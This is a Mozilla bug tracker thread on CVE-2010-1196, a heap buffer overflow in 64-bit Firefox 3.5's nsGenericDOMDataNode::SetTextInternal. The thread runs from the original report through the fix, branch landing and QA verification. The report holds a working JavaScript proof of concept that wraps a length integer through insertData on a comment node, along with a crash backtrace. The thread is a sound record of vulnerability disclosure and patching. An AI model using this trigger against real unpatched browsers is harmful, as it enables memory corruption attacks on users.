534666 - (CVE-2010-1196) Heap buffer overflow and crash [@ nsGenericDOMDataNode::SetTextInternal] on 64-bit

Status: RESOLVED FIXED

(Core :: DOM: Core & HTML, defect)

Description

[Brandon Sterne (:bsterne)]

Nils reported this bug to [e-mail].  Here's his full message:

-----
Firefox 3.5 64-Bit nsGenericDOMDataNode::SetTextInternal



I found a heap buffer overflow vulnerability which is caused by a integer overflow in nsGenericDOMDataNode::SetTextInternal(). Due to the amount of data needed to trigger the vulnerability (> 8 gigbytes), this is only exploitable on 64-bit systems. It was tested on Ubuntu AMD64 with the default install of Firefox and a custom build of Firefox on the same system.



The vulnerable code is in nsGenericDOMDataNode::SetTextInternal()



content/base/src/nsGenericDOMDataNode.cpp:399:



    PRInt32 newLength = textLength - aCount + aLength;

    PRUnichar* to = new PRUnichar[newLength];

    NS_ENSURE_TRUE(to, NS_ERROR_OUT_OF_MEMORY);



    // Copy over appropriate data

    if (0 != aOffset) {

      mText.CopyTo(to, 0, aOffset);

    }

    if (0 != aLength) {

      memcpy(to + aOffset, aBuffer, aLength * sizeof(PRUnichar));

    }





With a very large aLength or textLength an attacker would be able to wrap the integer newLength, resulting in an allocation of a too small buffer. When aLength is large than zero the memcpy() will overflow the buffer.



A fix would use size_t or similar value types for all length values. Furthermore the result of calculations which may wrap should be checked.

 The following Proof-of-Concept code will trigger the bug. Note that there will be multiple ways of triggering the issue:



POC Code:



------------------------- test.js ------------------------------



// fast way of allocating huge strings

function getlongstr(leng) {

        var str = unescape("%udead");

        var tsize = leng;

        while(str.length < ((tsize/6)/0x10)) str += str;

        str = str.substring(0, ((tsize/6)/0x10));

        var sz = tsize / 6;

        var comp = str.length;

        var ar = new Array();

        var act = 0;

        for(var i=0; i<0x11; i++) {

                act += comp;

                ar.push(str);

        }

        var longstr = ar.join("");

        longstr = longstr.substring(0, tsize/6);

        ar = null;

        str = null;

        longstr = escape(longstr);

        return longstr;

}



function start() {

        var appendStr = "AA";

        while(appendStr.length < 16500) appendStr+=appendStr;

        var x= document.createComment("");

        alert("created comment");

        var longstr = getlongstr(0xfffffffc);

        x.appendData(appendStr);

        x.insertData(0x7f80, longstr);

        alert("done");

}

start();



-----------------------------------------------------------------



Provided the test system has enough memory (>8 gigabyte) following crash will be triggered:



Stack backtrace:



Program received signal SIGSEGV, Segmentation fault.

0x00007ffff6ddf7ca in nsGenericDOMDataNode::SetTextInternal (

    this=0x7fffddbc9380, aOffset=32640, aCount=1992294400, 

    aBuffer=0x7ffcf6cf7954, aLength=4294967292, aNotify=1)

    at /usr/include/bits/string3.h:52

52        return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest));

(gdb) bt 10

#0  0x00007ffff6ddf7ca in nsGenericDOMDataNode::SetTextInternal (

    this=0x7fffddbc9380, aOffset=32640, aCount=1992294400, 

    aBuffer=0x7ffcf6cf7954, aLength=4294967292, aNotify=1)

    at /usr/include/bits/string3.h:52

#1  0x00007ffff731f139 in NS_InvokeByIndex_P (that=0x7fffffffc430, 

    methodIndex=4294951152, paramCount=32767, params=0x7fffddc24000)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/xpcom/reflect/xptcall/src/md/unix/xptcinvoke_x86_64_linux.cpp:208

#2  0x00007ffff6b42b81 in XPCWrappedNative::CallMethod (ccx=..., mode=16)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/xpconnect/src/xpcwrappednative.cpp:2456

#3  0x00007ffff6b4a5fb in XPC_WN_CallMethod (cx=0x7fffe3356000, 

    obj=0x7ffc771cc100, argc=3720560384, argv=0x1ffa33ef8, vp=0x8000)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/xpconnect/src/xpcwrappednativejsops.cpp:1590

#4  0x00007ffff6434383 in js_Invoke (cx=0x7fffe3356000, argc=32767, 

    vp=0x7fffe237e160, flags=32767)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/jsinterp.cpp:1386

#5  0x00007ffff64255bc in js_Interpret (cx=0x7fffe3356000)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/jsinterp.cpp:5179

#6  0x00007ffff643438d in js_Invoke (cx=0x7fffe3356000, argc=32767, 

    vp=0x7fffe237e040, flags=32767)

---Type <return> to continue, or q <return> to quit---

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/jsinterp.cpp:1394

#7  0x00007ffff64346e4 in js_InternalInvoke (cx=0x7fffe3356000, 

    obj=0x7fffddb90480, fval=140736913381888, flags=0, argc=32768, 

    argv=0x7f80, rval=0x7ffff63fc8e5)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/jsinterp.cpp:1447

#8  0x00007ffff63fc8e5 in JS_CallFunctionValue (cx=0x7fffe3356000, 

    obj=0x7ffc771cc100, fval=140736913948416, argc=4288888568, argv=0x8000, 

    rval=0x7f80)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/js/src/jsapi.cpp:5187

#9  0x00007ffff6ef9126 in nsJSContext::CallEventHandler (this=0x7fffe65fb760, 

    aTarget=0x7ffc771cc100, aScope=0x7fffddc33f00, aHandler=0x7fffddba9a00, 

    aargv=0x7fffe3356000, arv=0x7fffffffceb0)

    at /home/nils/64-bit/audit/firefox/mozilla-1.9.1/dom/src/base/nsJSEnvironment.cpp:2085

(More stack frames follow...)

Comment 1

[Brandon Sterne (:bsterne)]

Maybe I'm overlooking something, but I'm not sure why we wouldn't be vulnerable on 32-bit systems as well.  It still seems as if we could overflow the 32-bit newLength and wind up with a buffer too small for aBuffer's contents.

Comment 2

[Nils]

(In reply to comment #1)
> Maybe I'm overlooking something, but I'm not sure why we wouldn't be vulnerable
> on 32-bit systems as well.  It still seems as if we could overflow the 32-bit
> newLength and wind up with a buffer too small for aBuffer's contents.

The overflow itself could happen, however an attacker would need to allocate a string with more than 4000000000 characters (and 2 bytes per character). This is impossible in a 32 bit address space.

Comment 3

[Johnny Stenback (:jst)]

Attachment: Fix.

This patch fixes this crash. The problem really is that we overflow 32-bit integers in a couple of places, some cause crashes, others just cause incorrect behavior, but this sanitizes the counts, offset, and length variables we use in our DOM character data nodes. Part of this is to cap the length of the data we let users pass in through the DOM API to the max amount our internal implementation can actually hold (29 bits worth), the rest of the fix is mostly to prevent the wrong data from being deleted or replaced with some of the APIs.

And this is actually not something that's exploitable on trunk or 3.6 due to the length of a JS string being capped at 28 bits there, but in 3.5 that cap didn't exist, so we could overflow various things can cause bad behavior. Either way, we should take this change on trunk as well, since it does fix real problems there too, even if they're not crashes.

Comment 4

[Johnny Stenback (:jst)]

Attachment: Fix with more context.

Comment 5

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

Comment on attachment 432245 [details] [diff] [review]
Fix with more context.

Looking good r=me

Comment 6

[Johnny Stenback (:jst)]

Fixed on trunk. http://hg.mozilla.org/mozilla-central/rev/91694d19d7b2

Comment 7

[Johnny Stenback (:jst)]

Comment on attachment 432245 [details] [diff] [review]
Fix with more context.

This fix simply limits what we allow to be stored in a text node to the limit we already have deeper down in the code. Perfectly safe for branches...

Comment 8

[Mike Beltzner [:beltzner, not reading bugmail]]

Comment on attachment 432245 [details] [diff] [review]
Fix with more context.

a=beltzner for 1.9.1.10 and 1.9.2.4; for the latter, please land on both default and GECKO1924_20100413_RELBRANCH

Comment 9

[LegNeato]

Friendly notice: both the 1.9.1.10 and 1.9.2.4 code freezes are scheduled for *tomorrow*, Tuesday April 27th 2010 @ 11:59 pm PST.

Comment 10

[Johnny Stenback (:jst)]

I'll land this on the branches today.

Comment 11

[LegNeato]

Thanks jst!

Comment 12

[Johnny Stenback (:jst)]

http://hg.mozilla.org/releases/mozilla-1.9.2/rev/86ec082e2e1b
http://hg.mozilla.org/releases/mozilla-1.9.1/rev/496681759fa9

Comment 13

[Al Billings [:abillings - ex-MoCo]]

Are there STR for QA to verify this fix?

Comment 14

[Al Billings [:abillings - ex-MoCo]]

I see the steps via the script in comment 0 above but it needs a 64-bit box with at least 8 gigs of RAM to reproduce.

Bob, do you have an environment set up where you could verify this for 1.9.2 and 1.9.1?

Comment 15

[Nick Thomas [:nthomas] (UTC+12)]

(In reply to comment #8)
> (From update of attachment 432245 [details] [diff] [review])
> a=beltzner for 1.9.1.10 and 1.9.2.4; for the latter, please land on both
> default and GECKO1924_20100413_RELBRANCH

(In reply to comment #12)
> http://hg.mozilla.org/releases/mozilla-1.9.2/rev/86ec082e2e1b
> http://hg.mozilla.org/releases/mozilla-1.9.1/rev/496681759fa9

86ec082e2e1b is on 'default' in 1.9.2, so this fix didn't land on GECKO1924_20100413_RELBRANCH and isn't in Fx 3.6.4 build2. Verified that by looking at the hg logs for both branches, and by applying attachment 432245 [details] [diff] [review] cleanly to the tip of the relbranch.

Comment 16

[juan becerra [:juanb]]

Al, I can take a look on my environment which is 64-bit. It doesn't seem like I need to have 8g of ram.

Comment 17

[Mike Beltzner [:beltzner, not reading bugmail]]

So, this is .5-fixed, but not .4-fixed. We need to know if that's a problem for the security group. If it is, then we need to land it on the relbranch and respin. If not, then we can just pick up the fix in 1.9.2.5 and not disclose until then.

Comment 18

[Al Billings [:abillings - ex-MoCo]]

Juan, BC is going to test this. He mentioned it in e-mail.

Comment 19

[Mike Beltzner [:beltzner, not reading bugmail]]

Based on the recommendation of s-g, we're going to block 1.9.2.4 on this since the code landed in the tree.

This needs to land on the 1.9.2.4 relbranch GECKO1924_20100413_RELBRANCH

Comment 20

[Reed Loden [:reed]]

GECKO1924_20100413_RELBRANCH

http://hg.mozilla.org/releases/mozilla-1.9.2/rev/379c0002adfa

Comment 21

[Bob Clary [:bc] (inactive)]

Ok. I'm building GECKO1924_20100413_RELBRANCH on a linux 64bit box with 8G. I'll test it in a bit.

Comment 22

[Bob Clary [:bc] (inactive)]

I couldn't crash on 1.9.2 Linux x86_64 with 8G for the test in comment 0 and did  not see any "bad" valgrind messages.

However I am not entire sure I am testing the appropriate issue since the test does not use anywhere near the full memory of the machine and throws allocation size overflow at the line

var longstr = ar.join("");

jst, bsterne: is this sufficient to verify on GECKO1924_20100413_RELBRANCH ?

Comment 23

[Brandon Sterne (:bsterne)]

Yes, that looks good.

Comment 24

[Al Billings [:abillings - ex-MoCo]]

Brandon, shouldn't this be "verified1.9.2" and not verified for the bug as a whole since he didn't check on trunk?